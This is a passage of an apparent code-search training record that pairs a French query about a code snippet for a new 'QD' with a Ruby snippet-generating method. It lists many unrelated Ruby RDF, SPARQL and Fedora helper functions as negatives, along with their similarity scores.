html.dd(label[\"val\"], :class => \"altlabel\")\n end\n\n else\n html.dd(label[\"val\"], :class => \"altlabel\")\n end\n end\n end\n\n\n if has_broader\n\n has_broader_uri = has_broader\n\n unless has_broader.start_with?(\"http://\")\n r = RDF::URI.new(concept_uri)\n r.fragment = has_broader[1..-1]\n has_broader_uri = r.to_s\n end\n\n html.dt(\"Has broader\", :class => \"broader\")\n html.dd(:class => \"broader\") {\n html.a(concept_preflabel(has_broader_uri), :href => has_broader)\n }\n end\n\n\n if has_narrower\n\n has_narrower_uri = has_narrower\n\n unless has_narrower.start_with?(\"http://\")\n r = RDF::URI.new(concept_uri)\n r.fragment = has_narrower[1..-1]\n has_narrower_uri = r.to_s\n end\n html.dt(\"Has narrower\", :class => \"narrower\")\n html.dd(:class => \"narrower\") {\n html.a(concept_preflabel(has_narrower_uri), :href => has_narrower)\n }\n end\n\n if editorialNote\n html.dt(label_for(RDF::SKOS.editorialNote, @default_lang))\n html.dd(editorialNote, :class => \"editorial_note\")\n end\n\n html.dt(\"Identifier\", :class => \"identifier\")\n html.dd(concept_uri, :class => \"identifier\")\n }\n }\n\n end",
"def to_rdf(ns=true)\n rdf = \"<rdf:Description \" \n if ns\n rdf << \" xmlns:rdf=\\\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\\\" xmlns:frm=\\\"#{Pho::Namespaces::FRAME}\\\" xmlns:bf=\\\"#{Pho::Namespaces::CONFIG}\\\" \" \n end \n rdf << \" rdf:about=\\\"#{@uri}\\\">\"\n rdf << \" <frm:property rdf:resource=\\\"#{@property_uri}\\\"/>\"\n rdf << \" <frm:name>#{@name}</frm:name>\"\n if @analyzer != nil\n rdf << \" <bf:analyzer rdf:resource=\\\"#{@analyzer}\\\" />\" \n end \n rdf << \"</rdf:Description>\"\n return rdf \n end",
"def rdfize(prefix)\n # Less-than/greater-than (@lt, @gt) are currently not holding\n # enough information to determine whether a single seq. position\n # is affected, or whether start/end positions are targeted by\n # the relation.\n # For example, \"<500..>1000\" and \">500..<1000\" are both encoded\n # as:\n # @lt = @gt = true\n # @from = 500\n # @to = 1000\n # It is an ambiguous representation and the original meaning\n # can no longer be determined.\n if @lt or @gt\n raise \"Error: cannot RDFize locations with < or > in them. Sorry.\"\n end\n\n if @strand == 1\n faldo_begin, faldo_end = @from, @to\n else\n # Reverse begin/end, if on the reverse strand (5'-3' FALDO requirement)\n faldo_end, faldo_begin = faldo_begin, faldo_end\n end\n \n id = @xref_id\n unless id\n id = \"Location#{faldo_begin}-#{faldo_end}:#{@strand}\"\n end\n\n if @caret\n return \"\"\"<#{prefix}#{id}> a <#{FALDO}InBetweenPosition> ;\n <#{FALDO}after> <#{prefix}#{id}:begin> ;\n <#{FALDO}before> <#{prefix}#{id}:end> .\n\n#{rdfize_positions(\"#{prefix}#{id}\", faldo_begin, faldo_end)}\n\"\"\"\n end\n\n if @from == @to\n begin_uri_suffix = 'position'\n end_uri_suffix = 'position'\n else\n begin_uri_suffix = 'begin'\n end_uri_suffix = 'end'\n end\n\n return \"\"\"<#{prefix}#{id}> a <#{FALDO}Region> ;\n <#{FALDO}begin> <#{prefix}#{id}:#{begin_uri_suffix}> ;\n <#{FALDO}end> <#{prefix}#{id}:#{end_uri_suffix}> .\n\n#{rdfize_positions(\"#{prefix}#{id}\", faldo_begin, faldo_end, begin_uri_suffix, end_uri_suffix)}\n\"\"\"\n end",
"def upload_rus(sparql)\n sparql.query(\n <<-SPARQL\n SELECT DISTINCT ?concept ?description\n WHERE {\n ?concept rdfs:comment ?description .\n ?concept rdfs:label \"#{en_title}\"@en .\n FILTER ( lang(?description) = \"ru\" )\n }\n SPARQL\n )\n end",
"def generate_rdf_abstract(b)\n k = setup_abst_info(to_marc)\n b.dcterms(:abstract,k.join(' ')) unless k.blank?\n end",
"def node\n RDF::Node.new(namer.get_sym)\n end",
"def upload_rus_mod(sparql)\n sparql.query(\n <<-SPARQL\n SELECT DISTINCT ?concept ?description\n WHERE {\n ?concept dbo:abstract ?description .\n ?concept rdfs:label \"#{en_title}\"@en .\n FILTER ( lang(?description) = \"ru\" )\n }\n SPARQL\n )\n end",
"def each_statement(&block)\n # Block called from add_statement\n @callback = block\n\n root = @doc.root\n\n\n rdf_nodes = root.xpath(\"/rdf:RDF\", \"rdf\" => RDF.to_uri.to_s)\n statements = []\n rdf_nodes.each do |node|\n\n\n root.xpath(\"//rss:channel\", \"rss\"=>RDF::RSS.to_s).each do |channel|\n if channel.attribute('about')\n channel_uri = RDF::URI.intern(channel.attribute('about').value)\n else\n channel_uri = RDF::Node.new\n end\n statements << RDF::Statement.new(channel_uri, RDF.type, RDF::RSS.channel)\n channel.children.each do |elem|\n unless elem.name == 'items'\n if elem.children.length == 1 && elem.children.first.is_a?(Nokogiri::XML::Text)\n statements << RDF::Statement.new(channel_uri, RDF::URI.intern(elem.namespace.href + elem.name), literal(elem.children.first))\n elsif elem.attribute('resource')\n statements << RDF::Statement.new(channel_uri, RDF::URI.intern(elem.namespace.href + elem.name), RDF::URI.intern(elem.attribute('resource').value))\n end\n else\n stmt = RDF::Statement.new(:subject=>channel_uri, :predicate=>RDF::URI.intern(elem.namespace.href + elem.name))\n elem.children.each do |list|\n if list.attribute('about')\n list_uri = RDF::URI.intern(list.attribute('about').value)\n else\n list_uri = RDF::Node.new\n end\n\n stmt.object = list_uri\n statements << stmt\n list_type = RDF::URI.intern(list.namespace.href + list.name)\n unless list_type == RDF.Description\n statements << RDF::Statement.new(:subject=>list_uri, :predicate=>RDF.type, :object=>list_type)\n end\n list.children.each do |li|\n stmt = RDF::Statement.new(:subject=>list_uri, :predicate=>RDF::URI.intern(li.namespace.href + li.name))\n if li.attribute('resource')\n stmt.object = RDF::URI.intern(li.attribute('resource').value)\n elsif li.children.length == 1 && li.children.first.is_a?(Nokogiri::XML::Text)\n stmt.object = literal(li.children.first)\n end\n statements << stmt if stmt.object\n end\n end\n end\n end\n end\n root.xpath(\"/rdf:RDF/rss:item\", \"rdf\"=>RDF.to_uri.to_s, \"rss\"=>RDF::RSS.to_s).each do |item|\n if item.attribute('about')\n item_uri = RDF::URI.intern(item.attribute('about').value)\n else\n item_uri = RDF::Node.new\n end\n statements.concat statements_from_element(item, item_uri)\n end\n\n\n end\n statements.each do |stmt |\n yield stmt\n end \n statements.to_enum \n end",
"def initialize\n @rdf_data = []\n end",
"def tri_print( rdf )\n rdf.each do | triple |\n puts triple.inspect\n end\n end",
"def fetch\n if self.rdf_subject.to_s.include?('spar')\n uri = self.rdf_subject.to_s\n xml_url = uri.sub 'https://w3id.org/spar/', 'http://www.sparontologies.net/'\n xml_url.concat('.rdf')\n\n response = RestClient.get xml_url, {accept: :xml}\n xmldoc = Nokogiri::XML(response)\n new_label = xmldoc.at_xpath(\"/rdf:RDF/rdf:Description/rdfs:label/text()\")\n\n self << RDF::Statement.new(rdf_subject, RDF::SKOS.prefLabel, new_label)\n\n persist!\n else\n super\n end\n end",
"def to_rdf\n %Q(\n # sdbm:names/#{id} sdbm:names_id #{id}\n )\n end",
"def run\n @output.print %(# -*- encoding: utf-8 -*-\n # This file generated automatically using vocab-fetch from #{source}\n require 'rdf'\n module #{module_name}\n class #{class_name} < RDF::#{\"Strict\" if @strict}Vocabulary(\"#{uri}\")\n ).gsub(/^ /, '') if @output_class_file\n\n if fetch\n\n # Extract statements with subjects that have the vocabulary prefix and organize into a hash of properties and values\n vocab = ::RDF::Vocabulary.load(uri, location: source, extra: @extra)\n\n # Split nodes into Class/Property/Datatype/Other\n term_nodes = {\n class: {},\n property: {},\n datatype: {},\n other: {}\n }\n\n # FIXME: This can try to resolve referenced terms against the previous version of this vocabulary, which may be strict, and fail if the referenced term hasn't been created yet.\n vocab.each.to_a.sort.each do |term|\n name = term.to_s[uri.length..-1].to_sym\n kind = case term.type.to_s\n when /Class/ then :class\n when /Property/ then :property\n when /Datatype/ then :datatype\n else :other\n end\n term_nodes[kind][name] = term.attributes\n end\n\n {\n class: \"Class definitions\",\n property: \"Property definitions\",\n datatype: \"Datatype definitions\",\n other: \"Extra definitions\"\n }.each do |tt, comment|\n next if term_nodes[tt].empty?\n @output.puts \"\\n # #{comment}\"\n term_nodes[tt].each {|name, attributes| from_node name, attributes, tt}\n end\n end\n\n # Query the vocabulary to extract property and class definitions\n @output.puts \" end\\nend\" if @output_class_file\n end",
"def fetch_rdf\n @doc = Nokogiri::XML(open(@url))\n @root_node = @doc.xpath(\"/rdf:RDF/rdf:Description\", @@NAMESPACES)\n end",
"def to_rdf\n xml = String.new\n \n builder = Builder::XmlMarkup.new(:target => xml, :indent => 2)\n \n # Xml instructions (version and charset)\n builder.instruct!\n \n # Build the namespaces\n namespaces = {}\n N::Namespace.shortcuts.each { |key, value| namespaces[\"xmlns:#{key.to_s}\"] = value.to_s }\n \n builder.rdf :RDF, namespaces do # The main RDF/XML element\n builder.rdf :Description, :about => uri do # Element describing this resource\n # loop through the predicates\n direct_predicates.each do |predicate|\n predicate_rdf(predicate, builder)\n end\n end\n end\n \n end",
"def import_rdf(ns, fname)\n d = fname.match(/\\d{4}-\\d{2}-\\d{2}/)\n graph = ns + d.to_s\n cmd = \"#{STARDOG} data add -g \\\"#{graph}\\\" #{DB} \\\"#{fname}\\\"\"\n puts cmd\n puts system(cmd)\nend",
"def rels_ext pid\n str = <<-XML\n <rdf:RDF xmlns:fedora=\"info:fedora/fedora-system:def/relations-external#\"\n xmlns:fedora-model=\"info:fedora/fedora-system:def/model#\"\n xmlns:islandora=\"http://islandora.ca/ontology/relsext#\"\n xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"info:fedora/#{pid}\">\n <fedora-model:hasModel rdf:resource=\"info:fedora/#{@content_model}\"></fedora-model:hasModel>\n <fedora:isMemberOf rdf:resource=\"info:fedora/#{@newspaper_id}\"></fedora:isMemberOf>\n XML\n\n if @manifest.page_progression\n str += \" <islandora:hasPageProgression>#{@manifest.page_progression}</islandora:hasPageProgression>\"\n end\n\n if @inherited_policy_collection_id\n str += Utils.rels_ext_get_policy_fields(@config, @inherited_policy_collection_id)\n str += \" <islandora:inheritXacmlFrom rdf:resource=\\\"info:fedora/#{@inherited_policy_collection_id}\\\"></islandora:inheritXacmlFrom>\\n\"\n end\n\n str += <<-XML\n <islandora:isSequenceNumber>#{@issue_sequence}</islandora:isSequenceNumber>\n <islandora:dateIssued>#{@date_issued}</islandora:dateIssued>\n </rdf:Description>\n </rdf:RDF>\n XML\n\n return str.gsub(/^ /, '') # prettify XML somewhat\n end",
"def raw_node; end",
"def rdf_resource\n if creator\n creator.rdf_resource\n elsif orcid\n RDF::Resource.new(orcid)\n else\n RDF::Resource.new(ROCrate::Person.format_id(name))\n end\n end",
"def find_rdfa_by_id rdf_start_class , id\n #map each var on its classname\n id = id.to_s\n rdfa_string = \"<div about=\\\"#{rdf_start_class+\"/\"<<id}\\\" typeof=\\\"#{@class_map[rdf_start_class.to_sym]}\\\">\\n\"\n #get configuration start ->classes\n m = find_models(rdf_start_class,true)\n if m\n m.values[0].each do |mod,attributes|\n unless mod.to_s.eql?(\"sql_query\")\n t_mod = Model.new(mod, rdf_start_class)\n #if sql...\n item=t_mod.get_row_by_id(id).first\n t_mod.model_attributes.each do |name,link_field|\n #property\n #link to other ress\n if name.to_s.include? \"->\"\n m_class,role_mod = name.to_s.split \"->\"\n\n if role_mod.eql?(\"sql_query\")\n hello=\"\"\n else\n if link_field.include?(\"*\")\n field_class,field= link_field.to_s.split(\"*\")\n if field_class.to_s[0..5]==\"MODEL(\"\n field_class.gsub!(\"MODEL(\",\"Model.new(\")\n submodel= eval(field_class.to_s).get_rows\n rdfa_string<<\"<div rel=\\\"#{m_class}\\\">\\n\"\n submodel.each do |line|\n rdfa_string<<find_rdfa_by_id(role_mod , eval(\"line.#{field.to_s}\"))\n end\n rdfa_string<<\"</div>\\n\"\n else\n subitem = eval(\"item.#{field_class}\")\n rdfa_string<<\"<div rel=\\\"#{m_class}\\\">\\n\"\n subitem.each do |subline|\n rdfa_string<< find_rdfa_by_id(role_mod , eval(\"subline.#{field.to_s}\"))\n end\n rdfa_string<<\"</div>\\n\"\n end\n else\n rdfa_string<<\"<div rel=\\\"#{m_class}\\\">\\n\"\n rdfa_string << find_rdfa_by_id(role_mod , eval(\"item.#{link_field.to_s}\"))\n rdfa_string<<\"</div>\\n\"\n end\n end\n else\n write=true\n #just a property\n #CONST(\n #Model(\n if link_field.to_s[0..5] ==\"CONST(\"\n write=false\n val,data_type= t_mod.get_const(link_field)\n if data_type==\"LINK\"\n #link\n rdfa_string<<\"<div rel= \\\"#{name}\\\" resource=\\\"#{val}\\\"> </div>\\n\"\n else\n #value\n rdfa_string<<\"<div property= \\\"#{name}\\\" content=\\\"#{val}\\\" datatype=\\\"#{data_type}\\\"> </div>\\n\"\n end\n else\n m_class,field= link_field.to_s.split(\"*\")\n if name.to_s[0..5]==\"MODEL(\"\n m_class.gsub!(\"MODEL(\",\"Model.new(\")\n submodel= eval(m_class.to_s).get_rows\n submodel.each do |line|\n datatype=\"string\"\n rdfa_string<<\"<div property= \\\"#{ref_pred}\\\" content=\\\"#{eval(\"line.#{field.to_s.downcase}\")}\\\" datatype=\\\"#{data_type}\\\"> </div>\\n\"\n end\n end\n if field\n write = false\n #rdfa_string<<find_rdfa_by_id(\"\",\"\")\n end\n end\n rdfa_string<<\"<div property= \\\"#{name}\\\" content=\\\"#{eval(\"item.#{link_field}\")}\\\"></div>\\n\" if write\n end\n end\n end\n end\n end\n rdfa_string << \"</div>\\n\"\n end",
"def result\n ::RDF::URI.new(value.sub(/^uri-/, ''))\n end",
"def as_jsonld\n provenance\n JSON::LD::API::fromRDF(@graph)\n end",
"def type_url\n query_root_node(\"rdf:type/@rdf:resource\", @@NAMESPACES).to_s\n end",
"def to_rdf\n retrieve_triples_from_database(accept_header=\"application/rdf+xml\")\n end",
"def rdf_supported?\n false\n end",
"def to_rdf_graph(doc)\n graph = ::RDF::Graph.new\n node = ::RDF::Node.new\n\n doc.authors.each do |a|\n name = +''\n name << \"#{a.prefix} \" if a.prefix\n name << a.last.to_s\n name << \" #{a.suffix}\" if a.suffix\n name << \", #{a.first}\"\n graph << [node, ::RDF::Vocab::DC.creator, name]\n end\n graph << [node, ::RDF::Vocab::DC.issued, doc.year] if doc.year\n\n citation = +''\n citation << doc.journal if doc.journal\n citation << (doc.volume ? \" #{doc.volume}\" : ' ')\n citation << \"(#{doc.number})\" if doc.number\n citation << \", #{doc.pages}\" if doc.pages\n citation << \". (#{doc.year})\" if doc.year\n graph << [node, ::RDF::Vocab::DC.bibliographicCitation, citation]\n\n ourl = ::RDF::Literal.new(\n '&' + RLetters::Documents::AsOpenUrl.new(doc).params,\n datatype: ::RDF::URI.new('info:ofi/fmt:kev:mtx:ctx')\n )\n graph << [node, ::RDF::Vocab::DC.bibliographicCitation, ourl]\n\n graph << [node, ::RDF::Vocab::DC.relation, doc.journal] if doc.journal\n graph << [node, ::RDF::Vocab::DC.title, doc.title] if doc.title\n graph << [node, ::RDF::Vocab::DC.type, 'Journal Article']\n graph << [node, ::RDF::Vocab::DC.identifier, \"info:doi/#{doc.doi}\"] if doc.doi\n\n graph\n end",
"def rels_ext pid\n\n str = <<-XML\n <rdf:RDF xmlns:fedora=\"info:fedora/fedora-system:def/relations-external#\"\n xmlns:fedora-model=\"info:fedora/fedora-system:def/model#\"\n xmlns:islandora=\"http://islandora.ca/ontology/relsext#\"\n xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"info:fedora/#{pid}\">\n <fedora-model:hasModel rdf:resource=\"info:fedora/#{@content_model}\"></fedora-model:hasModel>\n XML\n @collections.each do |collection|\n str += <<-XML\n <fedora:isMemberOfCollection rdf:resource=\"info:fedora/#{collection}\"></fedora:isMemberOfCollection>\n XML\n end\n\n if @manifest.page_progression\n str += <<-XML\n <islandora:hasPageProgression>#{@manifest.page_progression}</islandora:hasPageProgression>\n XML\n end\n\n if @inherited_policy_collection_id\n str += Utils.rels_ext_get_policy_fields(@config, @inherited_policy_collection_id)\n end\n\n str += <<-XML\n </rdf:Description>\n </rdf:RDF>\n XML\n\n return str.gsub(/^ /, '')\n end",
"def to_rdf\n rdf = \"<rdf:RDF xmlns:frm=\\\"#{Pho::Namespaces::FRAME}\\\" \"\n rdf << \" xmlns:rdf=\\\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\\\" \"\n rdf << \" xmlns:rdfs=\\\"http://www.w3.org/2000/01/rdf-schema#\\\" \"\n rdf << \" xmlns:bf=\\\"#{Pho::Namespaces::CONFIG}\\\" > \" \n \n rdf << \" <rdf:Description rdf:about=\\\"#{@uri}\\\"> \"\n \n rdf << \" <rdf:type rdf:resource=\\\"#{Pho::Namespaces::CONFIG}QueryProfile\\\"/> \"\n rdf << \" <rdfs:label>#{@label}</rdfs:label> \"\n \n @field_weights.each do |property|\n rdf << \" <bf:fieldWeight rdf:resource=\\\"#{property.uri}\\\"/> \"\n end\n \n rdf << \" </rdf:Description>\"\n \n @field_weights.each do |property|\n rdf << property.to_rdf(false)\n end\n \n rdf << \"</rdf:RDF>\"\n end",
"def upload_eng(sparql)\n sparql.query(\n <<-SPARQL\n SELECT DISTINCT ?concept ?description\n WHERE {\n ?concept rdfs:comment ?description .\n ?concept rdfs:label \"#{en_title}\"@en .\n FILTER ( lang(?description) = \"en\" )\n }\n SPARQL\n )\n end",
"def urn_rdf( hash, rdf )\n graph = RDF::Graph.new\n rdf.each do |tri|\n tri.subject = RDF::Resource.new( hash['@id'] )\n tri.object = urn_obj( tri.object )\n graph << tri\n end\n graph\n end",
"def to_rdf( jsonld )\n rdf = RDF::Graph.new << JSON::LD::API.toRdf( jsonld )\n if rdf.count == 0\n raise JackRDF_Error, \"No triples could be created from JSON-LD\"\n end\n rdf\n end",
"def create_rdf(resource_uri = nil)\n # TODO: Accept a variable set of properties\n if resource_uri == nil\n response = create_rdf_auto_id\n else\n response = create_rdf_custom_id resource_uri\n end\n doc = FedoraDoc.new(response)\n if doc.status == HTTP_CREATED\n log \"RDF source created at #{doc.location}\"\n enable_versioning doc.location\n else\n log \"RDF source not created. HTTP status was #{doc.status}\"\n end\n doc\n end",
"def save_rdf(rdf, repo)\n # load triples from string\n triples = RDF::NTriples::Reader.for(:ntriples).new(rdf)\n t=[]\n triples.each_triple do |subject, predicate, object| \n\n #check language\n lang = \"\"\n begin\n lang = object.language\n rescue\n end\n\n if lang==:en || lang==\"\" || lang==:sp\n t = nil\n t = []\n\n if lang != \"\"\n t << \"<#{subject}>\"\n t << \"<#{predicate}>\"\n t << \"\\\"#{object}\\\"@#{lang}\"\n else\n t << \"<#{subject}>\"\n t << \"<#{predicate}>\"\n t << \"<#{object}>\"\n end \n\n print t\n puts \"\"\n self.add(t,repo)\n else\n puts \"#{subject} --#{predicate}--> #{object}\"\n puts lang if not lang==\"\"\n end\n end\n end",
"def node\n RDF::Node.new(namer.get_sym)\n end",
"def create_non_rdf(new_resource_uri, content)\n # TODO: Add support for non-text data\n uri = build_uri_for_resource new_resource_uri \n log \"create_non_rdf at uri #{uri}\"\n response = Net::HTTP.start(uri.hostname, uri.port) {|http|\n request = Net::HTTP::Put.new(uri.path)\n request[\"Content-Type\"] = \"text/plain\"\n request.body = content\n log request.body\n http.request(request)\n } \n doc = FedoraDoc.new(response) \n if doc.status == HTTP_CREATED || doc.status == HTTP_NO_CONTENT\n log \"Non-RDF source created. Content available at #{doc.location}\"\n enable_versioning new_resource_uri\n else\n log \"Non-RDF source not created. HTTP status was #{doc.status}\"\n end\n doc\n end",
"def sparql_query\n return <<-SPARQL\n SELECT ?item ?itemLabel ?steamAppId WHERE {\n ?item wdt:P31 wd:Q7889; # instance of video game\n wdt:P1733 ?steamAppId. # items with a Steam App ID.\n FILTER NOT EXISTS { ?item wdt:P5794 ?igdbId. } # with no IGDB ID\n SERVICE wikibase:label { bd:serviceParam wikibase:language \"en,en\". }\n }\n SPARQL\nend",
"def generate_rdf_catlink(b,ty)\n ul = \"http://catalog.library.cornell.edu/catalog/#{id}\"\n # if no elect access data, 'description' field.\n b.dc(:description,ul)\n end",
"def test_purl_umls\n cls = LinkedData::Client::Models::Class.find(\n 'http://purl.bioontology.org/ontology/SNOMEDCT/64572001',\n 'https://bioportal.bioontology.org/ontologies/SNOMEDCT'\n )\n refute_nil cls\n\n res = fetch_response(cls.purl)\n assert_equal 200, res.status\n assert_equal 'https://bioportal.bioontology.org/ontologies/SNOMEDCT?p=classes&conceptid=64572001',\n res.env[:url].to_s\n end",
"def create_rdf\n self.class.benchmark('Creating RDF for source') do\n assit(!new_record?, \"Record must exist here: #{self.uri}\")\n # First remove all data on this\n my_rdf.clear_rdf\n # Now create the new RDF subgraph. Force reloading so that no dupes are\n # created\n s_rels = semantic_relations(true)\n s_rels.each do |sem_ref|\n # We pass the object on. If it's a SemanticProperty, we need to add\n # the value. If not the RDF handler will detect the #uri method and\n # will add it as Resource.\n obj = sem_ref.object\n value = obj.is_a?(SemanticProperty) ? obj.value : obj\n my_rdf.direct_write_predicate(N::URI.new(sem_ref.predicate_uri), value)\n end\n my_rdf.direct_write_predicate(N::RDF.type, (N::TALIA + self.class.name.demodulize))\n my_rdf.save\n end\n end",
"def json_ld; end",
"def rdf_type_uri\n JERMVocab[rdf_type_entity_fragment]\n end",
"def ontology; ontologies.first; end",
"def ontology; ontologies.first; end",
"def get_uuid s\n query_result = direct_query <<SPARQL\nSELECT ?uuid WHERE {\n <#{s}> <http://mu.semte.ch/vocabularies/core/uuid> ?uuid\n}\nSPARQL\n uuid = query_result && query_result.first && query_result.first[\"uuid\"]\nend",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def upload_eng_mod(sparql)\n sparql.query(\n <<-SPARQL\n SELECT DISTINCT ?concept ?description\n WHERE {\n ?concept dbo:abstract ?description .\n ?concept rdfs:label \"#{en_title}\"@en .\n FILTER ( lang(?description) = \"en\" )\n }\n SPARQL\n )\n end",
"def link_standard_from_code(to, from)\n to.source = from.container.url\n to.id = from.id\n to.uri = from.uri\n to.prefix = from.container.id\n to.title = from.title\n to.description = from.description\n to.pattern = from.pattern\nend",
"def query\n sparql = <<-SPARQL\n SELECT ?item ?itemLabel ?giantBombId {\n ?item wdt:P31 wd:Q7889; # instance of video game\n wdt:P5247 ?giantBombId. # items with a GiantBomb ID.\n FILTER NOT EXISTS { ?item wdt:P11400 ?microtransactionZoneId . } # with no microtransaction zone ID\n SERVICE wikibase:label { bd:serviceParam wikibase:language \"en\". }\n }\n SPARQL\n\n sparql\nend",
"def hash_to_rdf( hash )\n to_rdf( to_jsonld( hash ) )\n end",
"def test_index \n set = ResourceSet.new('SemanticExpression.new().spo(\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\',\\'<http://www.w3.org/1999/02/22-rdf-syntax-ns#type>\\',\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\')') \n post :index , :setid => set.rsid\n assert_response :success\n assert_not_nil assigns[\"view\"] \n end",
"def sld; end",
"def uri; end",
"def uri; end",
"def uri; end",
"def uri; end",
"def uri; end",
"def uri; end",
"def uri; end",
"def uri; end",
"def uri; end",
"def uri; end",
"def uri; end",
"def uri; end",
"def rdf_type_predicate\n RDF::URI(\"http://www.w3.org/1999/02/22-rdf-syntax-ns#type\")\n end",
"def graph_class\n RDF::Graph\n end",
"def rel; end",
"def rdf_subject\n @rdf_subject ||= RDF::Node.new\n end",
"def test_rdf_save_load\n @valid_source.talia::hero << \"napoleon\"\n @valid_source.save\n loaded = Source.find(@valid_source.uri)\n assert_equal(\"napoleon\", loaded.talia::hero[0])\n end",
"def rdf_type_entity_fragment\n Seek::Rdf::JERMVocab.measured_item_entity_fragment(title)\n end",
"def load_rdf(url)\n data = RestClient.get(url, :accept => 'application/rdf+xml')\n \n RDF::Reader.for(:rdfxml).new(data) do |reader|\n reader.each_statement{ |statement| @graph << statement }\n end\n end",
"def initialize(uri, factory, json: nil, ld: nil)\n super(uri, factory)\n self.code = get_property('code', json) || get_property('http://purl.org/vocab/aiiso/schema#code', ld)\n self.name = get_property('name', json) || get_property('http://putl.org/vocab/aiiso/schema#name', ld)\n end"
] | [
"0.63998115",
"0.63864666",
"0.6339132",
"0.6199467",
"0.61891854",
"0.5991215",
"0.5990974",
"0.5989795",
"0.5977827",
"0.5971683",
"0.5959784",
"0.5950467",
"0.5881883",
"0.5855227",
"0.5820095",
"0.5818624",
"0.58013326",
"0.578622",
"0.5785642",
"0.57753694",
"0.5741763",
"0.5731522",
"0.5725413",
"0.57230127",
"0.5705828",
"0.5704551",
"0.5687331",
"0.5686853",
"0.5686398",
"0.566293",
"0.5658229",
"0.5653473",
"0.56448805",
"0.5639951",
"0.56242335",
"0.5604018",
"0.5603456",
"0.56023675",
"0.55896556",
"0.55828494",
"0.5575818",
"0.55753046",
"0.5574647",
"0.5558329",
"0.5554563",
"0.5547687",
"0.5546419",
"0.5546397",
"0.5544938",
"0.55310506",
"0.55273765",
"0.55237204",
"0.5520774",
"0.5519932",
"0.55103666",
"0.5506577",
"0.5502363",
"0.54880387",
"0.5465851",
"0.5465851",
"0.5460567",
"0.54542613",
"0.54542613",
"0.54542613",
"0.54542613",
"0.54542613",
"0.54542613",
"0.54542613",
"0.54542613",
"0.54542613",
"0.54542613",
"0.54542613",
"0.54542613",
"0.54542613",
"0.5440235",
"0.5440083",
"0.54367536",
"0.54359704",
"0.54224205",
"0.5410846",
"0.5404428",
"0.5404428",
"0.5404428",
"0.5404428",
"0.5404428",
"0.5404428",
"0.5404428",
"0.5404428",
"0.5404428",
"0.5404428",
"0.5404428",
"0.5404428",
"0.5402701",
"0.5397459",
"0.53944194",
"0.5390791",
"0.53807455",
"0.5378109",
"0.5372604",
"0.53693926"
] | 0.7348503 | 0 |
=> Code Snippet pour une nouvelle QD | def snippet_for_new_qd
"QD##{Objet::next_id_of_type 'QD'}: ${#{Snippet::next_tab}|h,d|}$0"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def snippet_for_qd\n \"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0\"\n end",
"def snippet_for_new_qdf\n snippet_for_new_qd\n end",
"def q\n self\n end",
"def qv\n end",
"def q(t)\n \n end",
"def odk_code\n \"q#{id}\"\n end",
"def odk_code\n \"q#{id}\"\n end",
"def quest; end",
"def source_question\n self.dataset.questions.with_code(self.code)\n end",
"def select_qd_without_rd\n qds = hash_qds true\n if qds.empty?\n Snippet::alert \"Aucune QD n'est sans réponse dans ce fichier…\", \"Il faut définir une QD avant de définir sa RD.\"\n else\n items_string = qds.collect do |dqd|\n dqd[:qd].gsub!(/\\\"/,\"\\\\\\\"\"); \"\\\"#{dqd[:qd]}\\\"\"\n end.join(' ')\n args = [\n 'dropdown',\n '--title \"Choix de la QD\"',\n '--text \"Choisir la QD à laquelle doit répondre cette RD (seules les QD sans réponse sont listées)\"',\n '--exit-onchange', # -> se ferme après le choix\n '--button1 \"Choisir cette QD\"',\n '--button3 \"Renoncer\"',\n '--items ' + items_string,\n '2>/dev/null'\n ]\n cmd = \"#{cocoaD} #{args.join(' ')}\"\n u_reponse = %x{#{cmd}}\n btn_name, user_choix = u_reponse.split(\"\\n\")\n return nil if btn_name.to_i == 3\n qds[user_choix.to_i][:id]\n end\n end",
"def log_qc_answers\n show do \n operations.each do |op|\n sample_id = op.input(\"PCR\").sample.id\n qc_answer = FieldValue.where(parent_id: sample_id, parent_class: \"Sample\", name: \"Has this strain passed QC?\").first\n note \"#{qc_answer.value}\"\n end\n end\n end",
"def skier_quest; end",
"def prapor_quest; end",
"def qe_modifiers\n end",
"def name\n return 'Generic QAQC'\n end",
"def king_richard_iii_quote; end",
